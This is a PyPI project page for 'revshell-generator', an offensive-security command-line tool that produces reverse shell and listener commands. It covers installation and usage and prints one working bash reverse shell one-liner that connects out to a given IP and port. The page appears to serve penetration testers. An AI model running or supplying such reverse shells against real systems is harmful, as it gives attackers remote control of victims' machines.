Skip to main content

Reverse shell commands generator

Project description

General Information

https://pypi.org/project/revshell-generator/

The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.

Installation

You can either clone the repository or install the package from PyPI.

Clone the repository:

apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -h

PyPI:

sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -h

Usage

You can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.

Running the Reverse Shell Generator

$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.

Setting Reverse IP Address and Port

revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash

You can also specify the IP address by providing a network interface name:

revshell-generator --ip eth0 --port 8080 --shell /bin/bash

In interactive mode, you can set these parameters using the ip, port, and shell commands:

>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash

Listing Available Reverse Shell Commands

>> list reverse

Note: the indexes are used while choosing the command template.

Listing Available Listener Commands

>> list listeners

Generating Reverse Shell Commands

$ python3 revshellgenerator.py
>> get reverse 0

The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1

Generating Listener Commands

>> get listeners 10

For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as help list or help get.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

revshell-generator-1.0.12.tar.gz (17.6 kB view hashes)

Uploaded Source

Built Distribution

revshell_generator-1.0.12-py3-none-any.whl (17.1 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page